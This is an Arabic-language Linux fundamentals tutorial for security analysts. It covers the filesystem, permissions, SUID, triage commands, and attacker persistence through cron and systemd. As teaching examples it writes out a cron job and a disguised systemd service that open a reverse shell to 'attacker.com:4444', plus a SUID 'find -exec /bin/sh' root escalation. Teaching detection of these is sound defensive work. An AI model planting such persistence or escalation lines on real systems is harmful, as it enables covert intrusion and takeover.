Linux Fundamentals — من غير ما تخاف منه
الملفات، الصلاحيات، الـ processes — اللي بتستخدمه فعلاً كل يوم
ليه أنت محتاج Linux أصلاً؟
تخيل السيناريو ده. أنت analyst جديد في SOC. الساعة 3 الفجر، alert: "suspicious outbound connection from web-prod-01". تفتح الـ ticket. السيرفر Linux. أنت طول عمرك Windows.
دخلت SSH. شفت prompt أسود. كتبت dir. قال "command not found". كتبت tasklist. نفس الحكاية.
حاولت تفتح Task Manager. مفيش. حاولت تشوف الـ network connections من واجهة. مفيش. والـ attacker لسه شغّال جوّه. والمدير بيسألك كل 10 دقايق "إيه الموقف؟".
الموقف؟ أنت ضايع. مش لإنك غبي — لإن أنت ما اتعلمتش الأداة.
كل أداة هجومية وحمائية محترمة بتشتغل على Linux. Kali، Parrot، 70% من سيرفرات الإنترنت، معظم الـ ICS، كل الـ containers، Android تحته Linux، حتى الـ macOS الـ shell بتاعه قريب جداً منه.
اوعى تقنع نفسك إنك ممكن تبقى محترف أمن وأنت بتخاف من الـ terminal. خلاص. الموضوع مش "نصيحة"، ده شرط دخول.
القصة كاملة — تحقيق على سيرفر مخترق بأدوات أساسية بس
خلّيني أمشّيك على سيناريو حقيقي. وصلك alert: "outbound traffic to suspicious IP". السيرفر web-prod-01. مفيش EDR. مفيش XDR. عندك SSH وأدوات الـ base system. ابدأ.
لو لقيت python -c 'import socket...' أو bash -i >& /dev/tcp/...، ده reverse shell. صوّر الـ screen، ما تقفلش العملية لحد ما تجمع الأدلة.
كل ده بأدوات base system. مفيش tool فاخر. ده اللي بنقصد بيه "تبقى مرتاح في الـ command line".
نظام الملفات — الخريطة
/ ← الجذر
├── bin/ ← أوامر أساسية للجميع (ls, cp, mv)
├── sbin/ ← أوامر للـ root (fdisk, iptables)
├── etc/ ← ملفات الإعدادات (passwd, shadow, hosts)
├── home/ ← مجلدات المستخدمين
├── root/ ← مجلد المستخدم root
├── var/ ← متغير: logs, mail, web (/var/www)
├── tmp/ ← مؤقت — يُمسح عند إعادة التشغيل
├── usr/ ← برامج المستخدم (usr/local/bin)
├── proc/ ← افتراضي — معلومات العمليات والنواة
├── sys/ ← افتراضي — أجهزة وkernel
└── opt/ ← برامج طرف ثالثالمهم في الأمن: /etc/passwd, /etc/shadow, /etc/sudoers, /var/log/, /home/*/.ssh/, /proc/*/environ.
أوامر التنقل والملفات
الصلاحيات — أهم مفهوم تفهمه
كل ملف ليه تلات مجموعات صلاحيات: المالك، الجروب، باقي الناس. وكل مجموعة ليها تلات حروف: r قراءة، w كتابة، x تنفيذ. بسيطة لما تستوعبها، خطيرة لما تتجاهلها.
زي ما البواب يقفل الباب الكبير ويسيب شباك الحمام مفتوح. الـ permissions لو واحد فيهم غلط، الباقي مالوش لازمة.
-rwxr-xr-- 1 alice staff 120 Apr 30 10:15 script.sh
│└┬┘└┬┘└┬┘
│ │ │ └── الجميع: قراءة فقط
│ │ └───── المجموعة: قراءة + تنفيذ
│ └──────── المالك: كل شيء
└────────── - = ملف عادي ('d' = مجلد، 'l' = symlink)الإجابة: /usr/bin/passwd عليه SUID bit. يعني لما أنت تشغّله، البرنامج بيشتغل بصلاحيات المالك بتاعه — اللي هو root، مش بصلاحياتك أنت. فبيقدر يكتب في shadow.
ده تصميم سليم لـ passwd. المشكلة: لو في binary تاني عليه SUID وأنت تقدر تتحكم في إدخاله، أنت دلوقتي بتشغّل كود كـ root. مثال: find عليه SUID؟ find . -exec /bin/sh \; = root shell فوري.
اللي بيحصل فعلياً: أدمن مكسول كتب script لازم يشتغل كـ root، حطّ عليه SUID علشان "يخلّص الموضوع". ما اتنبهش إن أي user يقدر يستغله. أنت كـ pentester بتمشي على find / -perm -4000 وبتلاقي الجوهرة دي.
الحماية: find / -perm -4000 -type f 2>/dev/null دورياً، قارن بقائمة baseline، أي إضافة جديدة = حقّق فيها. ولو ممكن، اشتغل بـ capabilities بدل SUID — أدق وأقل خطر.
المستخدمون والـ root
- /etc/passwd — قائمة المستخدمين (مقروء للجميع).
- /etc/shadow — كلمات السر مهشّمة (root فقط).
- /etc/sudoers — من يحق له sudo.
العمليات
الشبكة — أوامر يومية
إعادة التوجيه والـ pipes
أوامر مفيدة جداً للأمن
# تجميع info كامل عن مستخدم:
id alice && groups alice && lastlog -u alice
# اعرض كل cron jobs على النظام:
for u in $(cut -f1 -d: /etc/passwd); do crontab -u $u -l 2>/dev/null; done
# ابحث عن ملفات حديثة التعديل (ربما تركها مهاجم):
find /tmp /var/tmp /dev/shm -type f -mmin -60 2>/dev/null
# اعرض حزم منصبة (للبحث عن أداة قديمة بثغرة):
dpkg -l | grep -i openssh # Debian/Ubuntu
rpm -qa | grep -i openssh # RHEL/CentOS
# تشيك تكامل ملف:
sha256sum important.bin
# تشفير سريع:
echo "hello" | base64
echo "aGVsbG8K" | base64 -dقصة الـ Persistence — cron و systemd
المهاجم اللي دخل سيرفرك مش هيقعد بصّ. هو عايز يفضل جوّه حتى لو الـ shell اتقفلت أو السيرفر اتعمله reboot. ده اسمه persistence. وفي Linux، أشهر مكانين: cron و systemd.
السيناريو: المهاجم دخل بـ web shell. كاتب سطر واحد في crontab:
# يشتغل كل 5 دقايق، يفتح reverse shell
*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'عملت reboot؟ مفيش فرق. قفلت الـ web shell؟ مفيش فرق. كل 5 دقايق، السيرفر بنفسه بيتصل بالمهاجم. ليه ده شغّال؟ لإن cron بيشتغل كـ daemon من أول لحظة الـ boot.
الحماية — كده تلاقيه:
cron قديم وأي blue team عنده alerts عليه. المهاجمين الأذكى انتقلوا لـ systemd. ليه؟ لإن أي service systemd ممكن تكون legitimate، فبيتستّر وسط الضوضاء.
# /etc/systemd/system/syslog-helper.service
[Unit]
Description=System Log Helper
[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/attacker.com/4444 0>&1; sleep 60; done'
Restart=always
[Install]
WantedBy=multi-user.targetبعدها: systemctl enable --now syslog-helper. الاسم "syslog-helper" مقصود — يخلي الـ admin يعدّيه لما يسكان. الـ service هيعيد نفسه مع الـ boot، ولو فشل هيـ restart نفسه.
الحماية:
جدول الأوامر اليومية — اللي هتكتبه فعلاً
| الموقف | الأمر | ليه؟ |
|---|---|---|
| عرفت إيه شغّال على بورت | ss -tulpn | grep :443 | يقولك العملية المالكة كمان، مش بس البورت |
| في حد بياكل CPU | ps aux --sort=-%cpu | head | أعلى 10 عمليات استهلاكاً — miner؟ |
| السيرفر بطيء فجأة | top ثم iotop | CPU ولا I/O؟ كل واحد سبب مختلف |
| تدوّر على ملف | find / -name "*.conf" 2>/dev/null | الـ 2>/dev/null بيكتم رسائل permission denied |
| تدوّر على نص جوّه ملفات | grep -rni "password" /etc/ 2>/dev/null | recursive + case insensitive + line numbers |
| تتابع log حي | tail -f /var/log/auth.log | أي سطر جديد بيظهر فوراً |
| الـ disk اتملا | du -sh /* 2>/dev/null | sort -h | مين أكبر مجلد، human readable |
| لاقيت process مشبوه | ls -la /proc/<PID>/exe | المسار الفعلي للـ binary حتى لو اتمسح |
| ملف غريب في /tmp | file suspicious.bin + strings suspicious.bin | head | إيه نوعه + أي نصوص جواه |
| بتفك base64 | echo "..." | base64 -d | المهاجمين بيخبّوا الأوامر بـ base64 |
| بتعمل reverse DNS | dig -x 8.8.8.8 | PTR lookup — مين الـ IP ده |
| بتعمل packet capture | tcpdump -i any -nn -w cap.pcap port 443 | -nn = ما تحلّش الـ DNS، أسرع |
| تـ enum users | awk -F: '$3 >= 1000 {print $1}' /etc/passwd | UIDs ≥ 1000 = users فعليين |
| sudo permissions | sudo -l | إيه اللي مسموح ليّ كـ sudo — أول حاجة في privesc |
| آخر logins | last -20 + lastb -20 | ناجح + فاشل، الفرق مهم |
أهم ملفات تنظر إليها كمدافع/مهاجم
ممارسة
- ادخل لـ Kali VM، ونفّذ كل أوامر الدرس ده. مش تقرأها — تكتبها بإيدك.
- أنشئ مستخدمين، اضبط صلاحيات على ملفات، اقرأ /etc/shadow كـ root و كـ user عادي — احس الفرق بنفسك.
- دور على SUID binaries على Kali، قارن بـ gtfobins.github.io — جرّب exploit واحد على الأقل.
- اعمل cron job يكتب timestamp كل دقيقة في /tmp/test.log، شوفه شغّال، بعدين امسحه.
- اعمل systemd service بسيطة، فعّلها، شوف systemctl status، وامسحها بنظافة.
- اقرأ man bash — لو مرة واحدة في حياتك.
الخلاصة الناشفة
- Linux مش option. لو خايف من الـ terminal، أنت مش في المجال ده.
- الـ filesystem ليه منطق — احفظ /etc، /var/log، /proc، الباقي يجي مع الوقت.
- SUID = أي binary بصلاحيات مالكه. find / -perm -4000 أول حاجة في privesc.
- cron + systemd = أشهر مكانين للـ persistence. اعملهم baseline، راقب التغيير.
- كل alert في SOC على سيرفر Linux، أنت محتاج ps, ss, find, grep — كده.
- لو ما اتعلمتش الـ shell، الـ tools الفاخرة مش هتنفعك. هي بتأتمت اللي أنت بتعمله بإيدك. لو ما بتعرفش تعمله بإيدك، الـ tool بيتحوّل لصندوق أسود.